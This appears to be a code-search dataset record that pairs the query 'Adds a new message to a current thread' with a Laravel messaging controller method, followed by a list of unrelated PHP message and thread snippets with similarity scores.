"function ajan_core_add_message( $message, $type = '' ) {\n\n\t// Success is the default\n\tif ( empty( $type ) ) {\n\t\t$type = 'success';\n\t}\n\n\t// Send the values to the cookie for page reload display\n\t@setcookie( 'ajan-message', $message, time() + 60 * 60 * 24, COOKIEPATH );\n\t@setcookie( 'ajan-message-type', $type, time() + 60 * 60 * 24, COOKIEPATH );\n\n\t// Get ActivityNotifications\n\t$ajan = activitynotifications();\n\n\t/***\n\t * Send the values to the $ajan global so we can still output messages\n\t * without a page reload\n\t */\n\t$ajan->template_message = $message;\n\t$ajan->template_message_type = $type;\n}",
"function createMessage( $message=null ){\n global $mysqli;\n $msg = (object) $message;\n $command = $mysqli->real_escape_string($msg->command);\n $category = $mysqli->real_escape_string($msg->category);\n $bindings = $mysqli->real_escape_string($msg->bindings);\n $block_index = $mysqli->real_escape_string($msg->block_index);\n $message_index = $mysqli->real_escape_string($msg->message_index);\n $timestamp = $mysqli->real_escape_string($msg->timestamp);\n $results = $mysqli->query(\"SELECT message_index FROM messages WHERE `message_index`='{$message_index}' LIMIT 1\");\n if($results){\n if($results->num_rows==0){\n $sql = \"INSERT INTO messages (message_index, block_index, command, category, bindings, timestamp) values ('{$message_index}','{$block_index}','{$command}','{$category}','{$bindings}','{$timestamp}')\";\n } else {\n $sql = \"UPDATE messages SET block_index='{$block_index}', command='{$command}', category='{$category}', bindings='{$bindings}', timestamp='{$timestamp}' WHERE message_index='{$message_index}'\";\n }\n $results = $mysqli->query($sql);\n if(!$results){\n byeLog('Error while trying to create or update record in messages table');\n }\n } else {\n byeLog('Error while trying to lookup record in messages table');\n }\n}",
"private function handleMessage($message) {\n\t\tif ($message instanceof Message) {\n\t\t\t$this->getGroup()->addMessage($message);\n\t\t}\n\t\tif ($message instanceof Acknowledge) {\n\t\t\t$this->getGroup()->addMessage($message);\n\t\t}\n\t\tif ($message instanceof Cancel) {\n\t\t\t$this->getGroup()->removeMessage($message->getReference());\n\t\t}\n\t\t// Damit enforcen wir, dass die Daten in den Cache geschrieben werden und beim naechsten\n\t\t// update auch gepusht werden (s. postMessageCache())\n\t\t$this->setGroupHash(__CLASS__ . '$' . md5(microtime(true) . rand(100,999)));\n\t}",
"public function replace() {\r\n//primary use is update the status when 'falling through' the state gate\r\n//instead of returning to the executive\r\n\t$clone = clone($this);\r\n\t$_SESSION[\"STATE\"][$this->thread][$this->position] = serialize($clone);\r\n}",
"function setSessionMessage($tag_id, $message) {\n\t$_SESSION['message'] = array('id' => $tag_id, 'message' => $message);\n}",
"public function testMessageThreadsV2Post()\n {\n }",
"public function createLink() {\n\t\t$sql = \"INSERT INTO\twbb\".WBB_N.\"_thread\n\t\t\t\t\t(boardID, languageID, prefix, topic, time, userID, username, lastPostTime, \n\t\t\t\t\tlastPosterID, lastPoster, replies, views, ratings, rating, attachments,\n\t\t\t\t\tpolls, isAnnouncement, isSticky, isDisabled, everEnabled, isClosed, isDeleted,\n\t\t\t\t\tmovedThreadID, movedTime, deleteTime, deletedBy, deletedByID, deleteReason)\n\t\t\tVALUES\t\t(\".$this->boardID.\",\n\t\t\t\t\t\".$this->languageID.\",\n\t\t\t\t\t'\".escapeString($this->prefix).\"',\n\t\t\t\t\t'\".escapeString($this->topic).\"',\n\t\t\t\t\t\".$this->time.\",\n\t\t\t\t\t\".$this->userID.\",\n\t\t\t\t\t'\".escapeString($this->username).\"',\n\t\t\t\t\t\".$this->lastPostTime.\",\n\t\t\t\t\t\".$this->lastPosterID.\",\n\t\t\t\t\t'\".escapeString($this->lastPoster).\"',\n\t\t\t\t\t\".$this->replies.\",\n\t\t\t\t\t\".$this->views.\",\n\t\t\t\t\t\".$this->ratings.\",\n\t\t\t\t\t\".$this->rating.\",\n\t\t\t\t\t\".$this->attachments.\",\n\t\t\t\t\t\".$this->polls.\",\n\t\t\t\t\t\".$this->isAnnouncement.\",\n\t\t\t\t\t\".$this->isSticky.\",\n\t\t\t\t\t\".$this->isDisabled.\",\n\t\t\t\t\t\".$this->everEnabled.\",\n\t\t\t\t\t\".$this->isClosed.\",\n\t\t\t\t\t\".$this->isDeleted.\",\n\t\t\t\t\t\".$this->threadID.\",\n\t\t\t\t\t\".TIME_NOW.\",\n\t\t\t\t\t\".$this->deleteTime.\",\n\t\t\t\t\t'\".escapeString($this->deletedBy).\"',\n\t\t\t\t\t\".$this->deletedByID.\",\n\t\t\t\t\t'\".escapeString($this->deleteReason).\"')\";\n\t\tWCF::getDB()->sendQuery($sql);\n\t}",
"public function __construct($threadid,$message,$sendername,$sender_id,$sender_role = \"\",$created_at)\n {\n //\n $this->message = $message;\n $this->threadid = $threadid;\n $this->sendername = $sendername;\n $this->senderid = $sender_id;\n if(!empty($sender_role)) {\n $this->senderrole = $sender_role;\n }\n $this->created_at = $created_at;\n }",
"public static function create($boardID, $languageID, $prefix, $subject, $text, $userID, $username, $sticky = 0, $announcement = 0, $closed = 0, $options = array(), $subscription = 0, $attachments = null, $poll = null, $disabled = 0) {\n\t\t$attachmentsAmount = $attachments != null ? count($attachments->getAttachments()) : 0;\n\t\t$polls = ($poll != null && $poll->pollID) ? 1 : 0;\n\t\t\n\t\t// insert thread\n\t\t$threadID = self::insert($subject, $boardID, array(\n\t\t\t'languageID' => $languageID,\n\t\t\t'userID' => $userID,\n\t\t\t'username' => $username,\n\t\t\t'prefix' => $prefix,\n\t\t\t'time' => TIME_NOW,\n\t\t\t'lastPostTime' => TIME_NOW,\n\t\t\t'lastPosterID' => $userID,\n\t\t\t'lastPoster' => $username,\n\t\t\t'attachments' => $attachmentsAmount,\n\t\t\t'polls' => $polls,\n\t\t\t'isSticky' => $sticky,\n\t\t\t'isAnnouncement' => $announcement,\n\t\t\t'isClosed' => $closed,\n\t\t\t'isDisabled' => $disabled,\n\t\t\t'everEnabled' => ($disabled ? 0 : 1)\n\t\t));\n\t\t\n\t\t// create post\n\t\t$post = PostEditor::create($threadID, $subject, $text, $userID, $username, $options, $attachments, $poll, null, $disabled, true);\n\t\t\n\t\t// update first post id\n\t\t$sql = \"UPDATE\twbb\".WBB_N.\"_thread\n\t\t\tSET\tfirstPostID = \".$post->postID.\"\n\t\t\tWHERE\tthreadID = \".$threadID;\n\t\tWCF::getDB()->sendQuery($sql);\n\t\t\n\t\t// update first post preview\n\t\tPostEditor::updateFirstPostPreview($threadID, $post->postID, $text, $options);\n\t\t\n\t\t// get thread object\n\t\t$thread = new ThreadEditor($threadID);\n\t\t\n\t\t// update subscription\n\t\t$thread->setSubscription($subscription);\n\t\t\n\t\t// get similar threads\n\t\tself::updateSimilarThreads($threadID, $subject, $boardID);\n\t\t\n\t\treturn $thread;\n\t}",
"public function addMetadata(ThreadMetadataInterface $meta): ThreadInterface;",
"public function addFlush($type, $message)\n {\n $_SESSION['flush'][$type][] = $message;\n }",
"public function create_post() {\n\t\t$data['uid'] = $this->input->get('uid');\n\t\t$data['to'] = $this->input->get('to');\n\t\t$data['text'] = $this->input->get('text');\n\t\t$data['ts'] = now();\n\n\t\t$this->Messages_model->create($data);\n\t}",
"public function store(Request $request)\n {\n $this->validate($request, Thread::$rules);\n\n try {\n $movie = Movie::getOrCreate($request->input('external_url'));\n\n Thread::verifyIfExists($movie);\n\n $thread = new Thread([\n 'rating' => $request->input('rating'),\n 'comment' => ($request->input('comment') == '') ? null : $request->input('comment'),\n ]);\n $thread->user()->associate(Auth::user());\n $thread->movie()->associate($movie);\n $thread->save();\n\n $tb = new TelegramBot();\n $tb->sendMessage($thread);\n\n flash()->success('Tudo Certo!', 'O título escolhido foi indicado com sucesso!');\n\n return redirect('/');\n } catch (\\Exception $e) {\n flash()->error('Ops!', $e->getMessage());\n\n return redirect()->back()->withInput();\n }\n }",
"public function add($threadID = NULL) {\n if ($this->request->is('post')) {\n if ($this->Forum->save($this->request->data)) {\n $this->Session->setFlash('Your forum has been saved.');\n $this->redirect($this->referer());\n } else {\n $this->Session->setFlash('Unable to add your forum.');\n }\n }\n }",
"function set_message($section,$messages) {\n //script_message is an array of lists. Each element of array is indexed by\n // section name and contains a list of messages.\n $this->store_in_session('script_messages',$section,$messages);\n \n }",
"public static function insertMessageThread($id, $receivers, $text)\n\t{\n\t\t$time = date('Y-m-d H:i:s');\n\t\t$db = FrontendModel::getDB(true);\n\n\t\t// insert thread\n\t\t$threadId = (int) $db->insert('profiles_thread', array('latest_message_id' => 0));\n\n\t\t// insert message\n\t\t$messageId = (int) $db->insert(\n\t\t\t'profiles_message', \n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'user_id' => $id,\n\t\t\t\t'created_on' => $time,\n\t\t\t\t'text' => $text\n\t\t\t)\n\t\t);\n\n\t\t// update thread\n\t\t$db->update('profiles_thread', array('latest_message_id' => $messageId), 'id = ' . $threadId);\n\n\t\t// insert thread_status for every receiver\n\t\tforeach($receivers as $receiver)\n\t\t{\n\t\t\t$db->insert(\n\t\t\t\t'profiles_thread_status',\n\t\t\t\tarray(\n\t\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t\t'receiver_id' => $receiver\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t// insert thread status for sender\n\t\t$db->insert(\n\t\t\t'profiles_thread_status',\n\t\t\tarray(\n\t\t\t\t'thread_id' => $threadId,\n\t\t\t\t'receiver_id' => $id,\n\t\t\t\t'status' => 'read'\n\t\t\t)\n\t\t);\n\n\t\treturn true;\n\t}"
]
| [
"0.6041417",
"0.595711",
"0.58944315",
"0.57326025",
"0.57226175",
"0.57004195",
"0.5655905",
"0.56164896",
"0.5608886",
"0.5590536",
"0.5560044",
"0.5499655",
"0.54588854",
"0.5455795",
"0.5452232",
"0.5430557",
"0.54289675",
"0.54250646",
"0.53808665",
"0.537208",
"0.5356115",
"0.5312174",
"0.52725166",
"0.52495146",
"0.5232697",
"0.5224495",
"0.5217262",
"0.520156",
"0.5162838",
"0.5140183",
"0.51370037",
"0.51042014",
"0.5098857",
"0.5093174",
"0.50929195",
"0.50749564",
"0.50747985",
"0.50650334",
"0.5056215",
"0.50462514",
"0.5020411",
"0.5015312",
"0.5012609",
"0.5012593",
"0.4999072",
"0.49883643",
"0.4977725",
"0.49757454",
"0.495361",
"0.4950631",
"0.49320027",
"0.4929956",
"0.49174267",
"0.4908074",
"0.49080104",
"0.4904861",
"0.4901912",
"0.49001166",
"0.4891293",
"0.48485374",
"0.48434538",
"0.4840292",
"0.48358393",
"0.48333582",
"0.4827395",
"0.48264182",
"0.4826163",
"0.48232454",
"0.4821616",
"0.48215222",
"0.4819994",
"0.48194796",
"0.48140454",
"0.48100784",
"0.48042032",
"0.4803323",
"0.4772534",
"0.47722557",
"0.47711134",
"0.4768505",
"0.476288",
"0.4752056",
"0.4740922",
"0.47406608",
"0.47391176",
"0.4737329",
"0.47259465",
"0.47177026",
"0.47151396",
"0.47087428",
"0.47050712",
"0.4696722",
"0.46916825",
"0.4686912",
"0.46862793",
"0.4679192",
"0.4678199",
"0.46771574",
"0.46750915",
"0.4656229",
"0.46447945"
]
| 0.0 | -1 |
Adds a new message to a current thread | public function update(Request $request, $id)
{
$input = Input::all();
// dd($input);
try {
$message = Participant::findOrFail($id);
$thread = Thread::where('id', '=', $message->thread_id)->get()->first();
// $user = User::find($message->user_id);
foreach ($input['recipients'] as $user_id) {
if(Auth::getUser()->id == $user_id ) {
$user = User::find($message->user_id);
}
else
{
$user = User::find($user_id);
}
}
} catch (ModelNotFoundException $e) {
Session::flash('error_message', 'The thread with ID: ' . $id . ' was not found.');
return redirect('messages');
}
if ($user->isAnalyst() || $user->isAdmin() || $user->isExecutive() || $user->isManagement()) {
if (isset($thread->loan_id) && $thread->loan_id != '') {
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => -1,
'body' => $input['message'],
'source' => 'bank',
]);
}
}
} else {
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => -1,
'body' => $input['message'],
'source' => 'normal',
]);
}
}
}
} else {
if (isset($thread->loan_id) && $thread->loan_id != '') {
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
if(Auth::getUser()->id == $user_id ) {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $message->user_id,
'body' => $input['message'],
'source' => 'bank',
]);
}
else {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id,
'body' => $input['message'],
'source' => 'bank',
]);
}
}
}
} else {
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
if(Auth::getUser()->id == $user_id ) {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $message->user_id,
'body' => $input['message'],
'source' => 'normal',
]);
}
else {
$messages = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id,
'body' => $input['message'],
'source' => 'normal',
]);
}
}
}
}
}
if ($request->file('upload_file')) {
$file = $request->file('upload_file');
$directory = 'Threads';
$originalFileName = $file->getClientOriginalName();
$uploadedFileName = $directory. '/'. 'thread_' . $messages->id . '-' . $originalFileName;
$oldFileName = null;
if (isset($messages) && !empty($messages->upload_file)) {
$oldFileName = $messages->upload_file;
}
$fileHelper = new FileHelper();
$fileHelper->uploadFile($directory, $uploadedFileName, File::get($file), $oldFileName);
$messages->upload_file = $uploadedFileName;
$messages->save();
}
$sender = Auth::getUser();
foreach ($input['recipients'] as $user_id) {
$receiver = User::find($user_id);
}
if (isset($thread->loan_id) && $thread->loan_id != '') {
$loan = Loan::find($thread->loan_id);
if($sender->id == $message->user_id) {
if ($user->isAnalyst()) {
$loanStatus = LoansStatus::where('loan_id', '=', $thread->loan_id)->get()->first();
if (isset($loanStatus) && count($loanStatus) > 0) {
$loanStatus->niwas_query_status = 'N';
$loanStatus->save();
}
} elseif ($user->isBankUser()) {
$loanStatus = LoansBankAllocation::where('loan_id', '=', $thread->loan_id)->where('bank_id', '=', $user->bank_id)->get()->first();
if (isset($loanStatus) && count($loanStatus) > 0) {
$loanStatus->bank_query_status = 'N';
$loanStatus->save();
}
}
$thread->is_replied = '1';
$thread->save();
$this->sendMail('emails.querymail', array('from' => $sender->email, 'to' => $receiver->email, 'loanID' => $thread->loan_id, 'subject' => $input['subject'], 'bodyMessage' => $input['message']), $sender->email, 'Query Message From SMENiwas!');
// $this->sendMail('emails.querymail', array('from' => $sender->email, 'to' => $receiver->email, 'loanID' => $thread->loan_id, 'subject' => $input['subject'], 'bodyMessage' => $input['message']), $receiver->email, 'Query Message From SMENiwas!');
$confParam = new ConfigurableParameter();
$message = $confParam->getParamValueOrDefault('sms_template', 'Received Query');
if (isset($receiver)) {
$userProfile = $receiver->userProfile();
if (isset($userProfile) && isset($userProfile->contact1)) {
$mobileNumber = $userProfile->contact1;
$this->sendSMS($mobileNumber, $message);
}
}
}
}
return redirect('messaging');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function addMessage($message);",
"public function add_message($message){\n $this->messages[] = $message;\n }",
"public function message($message): void\n {\n $this->messages[] = $message;\n }",
"function addMessage($txt = \"\"){\t$this->mMessages\t.= $txt;\t}",
"public function addMessage($message)\n\t{\n\t\t$this->messages[] = $message;\n\t}",
"public function addMessage($message) {\n $this->messages[] = $message;\n }",
"function add($message) { return; }",
"public function addMessage($message)\n {\n $this->messages[] = $message;\n }",
"function tn_add_message( $type, $message ) {\n\t$m = TN_Messages::get_instance();\n\t$m->add_message( array( $type => $message ) );\n}",
"public function addMessage($message)\n {\n $this->storage[] = $message;\n }",
"function postNewMessage($user_id, $thread_id, $message)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection, \"INSERT INTO message(thread_id, user_id, message, date) VALUES($thread_id, $user_id, $message, NOW())\");\n\t\t}",
"public function addMessageAction(){\n if (!$this->_validateFormKey()) return $this->_redirect('inchoo/tickets');\n\n if ($this->getRequest()->isPost()) {\n $ticketId = $this->getRequest()->getPost('ticket_id');\n $message = Mage::getModel('inchoo_tickets/message');\n\n $message->setTicket_id($ticketId)\n ->setMessage($this->getRequest()->getPost('message'))\n ->setAuthor(true); // true=customer\n\n if ($message->validateMessage()) $message->save();\n }\n\n $this->_redirect(\"inchoo/tickets/view/ticket/$ticketId\");\n }",
"public function add_message( $new_message ) {\t\n\n\t\t$messages = $this->_read_messages();\n\n\t\tif( !is_array( $messages ) )\n\t\t\t$messages = array();\n\n\t\tarray_push( $messages, $new_message );\n\n\t\t$this->_write_messages( $messages );\n\t}",
"public function push($message);",
"public function add($message = ''){\r\n\t\tif ($this->options['active'])\r\n\t\t\t$this->profiler->record($message);\r\n\t}",
"function record_message($message) {\n global $messages;\n array_push($messages, $message);\n}",
"protected static function addMessage(stdClass $message) {\n $i = PitSession::get('PitFlash', 'i', 1);\n $msgs = PitSession::get('PitFlash', 'messages', array());\n $msgs[$i] = $message;\n PitSession::set('PitFlash', 'i', $i + 1);\n PitSession::set('PitFlash', 'messages', $msgs);\n }",
"public function addMessage($message)\n {\n $this->_messages[] = $message;\n return $this;\n }",
"public function addContent($message)\n {\n }",
"public function addMessage(MessageInterface $message): self;",
"public function add_message($msg){\r\n\t\t$this->general_messages[] = $msg;\r\n\r\n\t\t$msg_array = array(\r\n\t\t\t\t'type' => 'general',\r\n\t\t\t\t'class' => $this::GEN_MSG_CLASS,\r\n\t\t\t\t'text' => $msg\r\n\t\t);\r\n\r\n\t\t$this->all_messages[] = $msg_array;\r\n\t}",
"protected static function newMessage()\n {\n self::$message = \\Swift_Message::newInstance();\n }",
"function target_add_message($message)\n{\n\tif ($GLOBALS['VERBOSE']) pf('...'. $message['subject']);\n\n\tif (!isset($GLOBALS['forum_map'][ (int)$message['forum_id'] ])) {\n\t\tpf('WARNING: Skip message ['. $message['subject'] .']. Cannot add message to non-existing forum.');\n\t\treturn;\n\t}\n\t$file_id = write_body(bbcode2fudcode($message['body']), $len, $off, $GLOBALS['forum_map'][ (int)$message['forum_id'] ] );\n\n\tif ($message['poster_id'] == 1 && isset($GLOBALS['hack_id'])) {\n\t\t$message['poster_id'] = $GLOBALS['hack_id'];\n\t}\n\n\tq('INSERT INTO '. $GLOBALS['DBHOST_TBL_PREFIX'] .'msg\n\t\t(id, thread_id, poster_id, post_stamp, update_stamp, updated_by, subject,\n\t\t ip_addr, foff, length, file_id, msg_opt, apr\n\t) VALUES (\n\t\t'. $message['id'] .',\n\t\t'. (int)$message['thread_id'] .',\n\t\t'. (int)$message['poster_id'] .',\n\t\t'. (int)$message['post_stamp'] .',\n\t\t'. (int)$message['update_stamp'] .',\n\t\t'. (int)$message['updated_by'] .',\n\t\t'. _esc($message['subject']) .',\n\t\t'. _esc(decode_ip($message['ip_addr'])) .',\n\t\t'. $off .',\n\t\t'. $len .',\n\t\t'. $file_id .',\n\t\t'. (int)$message['msg_opt'] .',\n\t\t1)'\n\t);\n}",
"public function add($key, $message)\n {\n $this->messages[$key][] = $message;\n }",
"public function addMessage()\n {\n if(null === $this->obj_message) {\n $this->obj_message = new Message();\n }\n return $this->obj_message;\n }",
"public function appendMessage(MessageInterface $message): void\n {\n $this->messages[] = $message;\n }",
"public function add($message)\n {\n $this->buffer[] = $message;\n return $this;\n }",
"public function addMessage($message, $color = self::MSG_COLOR_WHITE)\n {\n switch ($color) {\n case self::MSG_COLOR_BLACK:\n $code = \"\\033[01;30m\";\n break;\n case self::MSG_COLOR_RED:\n $code = \"\\033[01;31m\";\n break;\n case self::MSG_COLOR_GREEN:\n $code = \"\\033[01;32m\";\n break;\n case self::MSG_COLOR_BROWN:\n $code = \"\\033[01;33m\";\n break;\n case self::MSG_COLOR_BLUE:\n $code = \"\\033[01;34m\";\n break;\n case self::MSG_COLOR_MAGENTA:\n $code = \"\\033[01;35m\";\n break;\n case self::MSG_COLOR_CYAN:\n $code = \"\\033[01;36m\";\n break;\n case self::MSG_COLOR_WHITE:\n $code = \"\\033[37m\";\n break;\n }\n\n $this->_messages[] = $code . $message . \"\\033[0m\";\n return $this;\n }",
"public function addMessage( $username = false, $message = false, $gameoperator = false )\r\n {\r\n if ($username == false || $message == false)\r\n {\r\n throw new Exception( __METHOD__. \" missing argument\");\r\n }\r\n else if ($this->getId() < 0)\r\n {\r\n throw new Exception( __METHOD__. \" invalid ticketid: \".$this->getId());\r\n } \r\n \r\n $dbhelper = DBHelper::getInstance();\r\n $dbLink = &$dbhelper->getLink(); \r\n\r\n $tMsg = new TicketMessage();\r\n $tMsg->create( $this->getId(), $username, $message, $gameoperator );\r\n $this->messages[] = $tMsg->getId(); \r\n \r\n if ( $gameoperator == true )\r\n {\r\n $this->setStatus(TICKET_STATUS_ANSWERED);\r\n }\r\n else if ( $this->getStatus() == TICKET_STATUS_ANSWERED || $this->getStatus() == TICKET_STATUS_RESOLVED )\r\n {\r\n $this->setStatus(TICKET_STATUS_WAITING);\r\n }\r\n\r\n return true;\r\n }",
"protected function addMessage($type, $message)\n\t{\n\t\t$entry = [\n\t\t\t'type' => $type,\n\t\t\t'message' => $message\n\t\t];\n\n\t\t$this->messages[] = $entry;\n\t}",
"function add_message($vMessage, $index = 0) {\n\t\tif ($this->get_multiple_values()) {\n\t\t\tif (!isset($this->messages[$index])) {\n\t\t\t\t$this->messages[$index] = Array();\n\t\t\t}\t\n\t\t\tarray_push($this->messages[$index], $vMessage);\n\t\t} else {\n\t\t\tarray_push($this->messages, $vMessage);\n\t\t}\n\t}",
"protected function addMessage(string $message, $type = self::MESSAGE_INFO) {\n\t\t$this->messages[$type][] = $message;\n\t}",
"static function message($message)\n {\n global $template_vars;\n $template_vars['messages'][] = $message;\n }",
"public static function addMessage($message) {\n $messages = self::popMessage();\n if (is_array($messages)) {\n $messages[] = $message;\n } else {\n $messages = array();\n $messages[] = $message;\n }\n\n setcookie(self::$_name, serialize($messages), time() + self::$_time, self::$_path);\n }",
"public function addMessage( $message, $instance = null )\n\t{\n\t\t$sql = <<<SQL\nINSERT INTO\n\ti18n_messages\nSET\n\tmessage \t= ?,\n\tinstance\t= ?\nSQL;\n\n\t\treturn $this->Execute( $sql, array(\n\t\t 'tag' => 'Add message',\n\t\t $message,\n\t\t $instance\n\t\t ) );\n\t}",
"public function addMessage(array $post) {\n $chatModel = new ChatModel();\n $lastMessage = $chatModel->InsertMessage($post);\n }",
"function add_message($messages){\n global $messages;\n $messages[] = $messages;\n}",
"public function add(Message $flash);",
"public static function add_static_message( $message ) {\n\n\t\tadd_filter( 'tn_get_messages', function( $messages ) use ( $message ) {\n\n\t\t\tarray_push( $messages, $message );\n\t\t\treturn $messages;\n\n\t\t},10 );\n\n\t}",
"public function appendMessage(MessageInterface $message)\n\t{\n\t\t$this->_messages[] = $message;\n\t}",
"public function addMessage($message, $type) {\n\t\t$messages = $_SESSION[$this->sessionKey];\n\t\t\n\t\t$messages[] = [\n\t\t\t'message' => $message,\n\t\t\t'type' => $type,\n\t\t];\n\t\t\n\t\t$_SESSION[$this->sessionKey] = $messages;\n\t}",
"public function sendMessage()\n {\n $userId = auth()->user()->id;\n\n // Save the message\n Message::create([\n 'room_id' => $this->roomId,\n 'user_id' => $userId,\n 'message' => $this->message,\n ]);\n\n // Remove the value of the message after saving\n $this->message = \"\";\n\n // Prompt the server that we sent a message\n $this->dispatchBrowserEvent('chat-send-message', [\n 'room_id' => $this->roomId,\n 'user_id' => $userId,\n ]);\n }",
"public function insert_message($user_id, $writer_id, $message, $log_as_event, $thread_id=null)\n {\n require_once('Validator.php');\n return $this->call('gst_message_insert', $user_id, $writer_id, $message, $thread_id, $log_as_event);\n }",
"public function add($type, $message)\n\t{\n\t\t$this->messages[] = array(\n\t\t\t'type' => $type,\n\t\t\t'message' => $message,\n\t\t);\n\t}",
"public function actionWriteMessage() {\n\t\ttry {\n\t\t\treturn $this->getService('SupportMessage')->add();\n\t\t} catch (Exception $e) {\n\t\t\treturn $this->sendError('You reached some error');\n\t\t}\n\t}",
"function addMessage($message)\r\n{\r\n\t$name = ($message['action']) ? '*'.$message['name'] : $message['name'];\r\n\t$text = $message['text'];\r\n\t$time = $message['time'];\r\n\r\n\tif(strlen($name) == 0)\r\n\t\treturn;\r\n\r\n\t$line = $time.'||'.$name.'||'.$text;\r\n\r\n\t// Pull the current file contents\r\n $fileContents = file(LACE_FILE);\r\n\t$size = count($fileContents);\r\n\r\n if ($size >= LACE_FILE_MAX_SIZE)\r\n {\r\n\t // Push the oldest entries out\r\n\t // and put the new one in\r\n\t for ($i = 0; $i <= $size - LACE_FILE_MAX_SIZE; $i++)\r\n\t\t array_shift($fileContents);\r\n\r\n\t $fileContents[] = $line;\r\n \t$fileContents = implode(\"\\n\", array_map('trim', $fileContents)).\"\\n\";\r\n\r\n \t// Write it to file\r\n \tfile_put_contents(LACE_FILE, trim($fileContents));\r\n }\r\n else\r\n {\r\n // No need to push anything off the stack,\r\n // just write to file\r\n \t$file = fopen(LACE_FILE, 'a');\r\n fwrite($file, $line.\"\\n\");\r\n fclose($file);\r\n }\r\n\r\n // Add to the log\r\n logMessage($line);\r\n}",
"public function testMessageThreadsV2MarkThread()\n {\n }",
"function tn_add_static_message( $type, $message ) {\n\tTN_Messages::add_static_message( array( $type => $message ) );\n}",
"public function queue() {\n\t\t$this->prepareMessage();\n\t\t$this->queueRepository->add($this->toArray());\n\t}",
"public function set_message($message)\n {\n $this->messages[] = $message;\n\n return $message;\n }",
"function add_message($msg, $msg_type = MSG_TYPE_SUCCESS) {\n if (!isset($_SESSION['message']))\n $_SESSION['message'] = [];\n $_SESSION['message'][] = ['type' => $msg_type, 'message' => htmlentities($msg, ENT_QUOTES)];\n}",
"public static function push($message) : void\n {\n array_push(static::$stack, (string)$message);\n \n }",
"private function send_msg() {\r\n }",
"public function add_message($message, $class=\"notifyproblem\", $align='center') {\n global $SESSION;\n\n if (empty($SESSION->languagelesson_messages) || !is_array($SESSION->languagelesson_messages)) {\n $SESSION->languagelesson_messages = array();\n $SESSION->languagelesson_messages[$this->properties->id] = array();\n } else if (!array_key_exists($this->properties->id, $SESSION->languagelesson_messages)) {\n $SESSION->languagelesson_messages[$this->properties->id] = array();\n }\n\n $SESSION->languagelesson_messages[$this->properties->id][] = array($message, $class, $align);\n\n return true;\n }",
"public function add_message()\n {\n $result = $this->message->verify_message();\n if($result != NULL)\n {\n $this->session->set_flashdata('errors', $result);\n redirect('/messages/'.$this->session->userdata(\"selected_user_to_view\").'');\n }\n else\n {\n $this->message->add_message($this->input->post(NULL, TRUE));\n redirect('/messages/'.$this->session->userdata(\"selected_user_to_view\").'');\n }\n }",
"function add_message($message = 'Empty message') // here the 'Foo' from line 52 became $message variable inside function\n{\n\tglobal $messages;\n\t\n\t$messages[] = $message;\n}",
"function ajan_core_add_message( $message, $type = '' ) {\n\n\t// Success is the default\n\tif ( empty( $type ) ) {\n\t\t$type = 'success';\n\t}\n\n\t// Send the values to the cookie for page reload display\n\t@setcookie( 'ajan-message', $message, time() + 60 * 60 * 24, COOKIEPATH );\n\t@setcookie( 'ajan-message-type', $type, time() + 60 * 60 * 24, COOKIEPATH );\n\n\t// Get ActivityNotifications\n\t$ajan = activitynotifications();\n\n\t/***\n\t * Send the values to the $ajan global so we can still output messages\n\t * without a page reload\n\t */\n\t$ajan->template_message = $message;\n\t$ajan->template_message_type = $type;\n}",
"function addElement($script){\n if(!$this->host->messages)\n $this->host->messages = $script;\n else\n $this->host->messages .= $script;\n }",
"public function sendMessage($user_id, $message)\n {\n $this->_Database->query(\"INSERT INTO chat (chat_id, user_id, message, time_posted) VALUES ('', :user_id, :message, CURRENT_TIMESTAMP)\", array(':user_id' => $user_id, ':message' => $message));\n }",
"public abstract function sendMessage();",
"public function addFeedback($msg)\n {\n array_push($this->_feedback, $msg);\n }",
"function addThread()\n{\n\tif(!isset($db) || $db = NULL || !isset($connection) || $connection = NULL)\n\t{\n\t\t$db = new Database();\n\t\t$connection = $db->mysqli_db_connect();\n\t}\n\t\n\t// Re initialize the Board class\n\tif(!isset($main) || $main = NULL)\n\t{\n\t\t$main = new Board($db, $connection);\n\t}\n\t\n\tif(isset($_SESSION['angemeldet']) && $_SESSION['angemeldet'] == true || $main->boardConfig($main->getThreadBoardID($_GET['threadID']), \"guest_posts\"))\n\t{\n\n\t\tglobal $threadAddStatusArray;\n\t\tglobal $largestNumber;\n\n\t\t$threadAddStatus = false;\n\n\t\t$_SESSION['ID'] = session_id();\n\t\t$getAuthorID = $db->query(\"SELECT id FROM $db->table_accounts WHERE sid=('\".$_SESSION['ID'].\"')\");\n\n\t\twhile ($authorID = mysqli_fetch_object($getAuthorID)) {\n\t\t\t$authorIDResult = $authorID->id;\n\t\t}\n\n\t\t// VARS\n\n\t\t// BOARD ID\n\t\tif(isset($_GET['boardview']) && !isset($_GET['threadID'])) {\n\t\t\t$actualBoard = mysqli_real_escape_string($GLOBALS['connection'], $_GET['boardview']);\n\t\t} else {\n\t\t\t$getBoard = $db->query(\"SELECT main_forum_id FROM $db->table_thread WHERE id=('\".$actualThread.\"')\");\n\t\t\t\n\t\t\twhile($boardIDData = mysqli_fetch_object($getBoard)) {\n\t\t\t\t$actualBoard = $boardIDData->main_forum_id;\n\t\t\t}\n\t\t}\n\n\t\tif ((empty($_POST[\"threadAddArea\"])) || (empty($_POST[\"threadTitleInput\"]))) {\n\t\t\techo 'Sie haben nicht alle benötigten Informationen eingegeben!';\n\n\t\t} else {\n\n\t\t\t$newThreadTitle = mysqli_real_escape_string($GLOBALS['connection'], 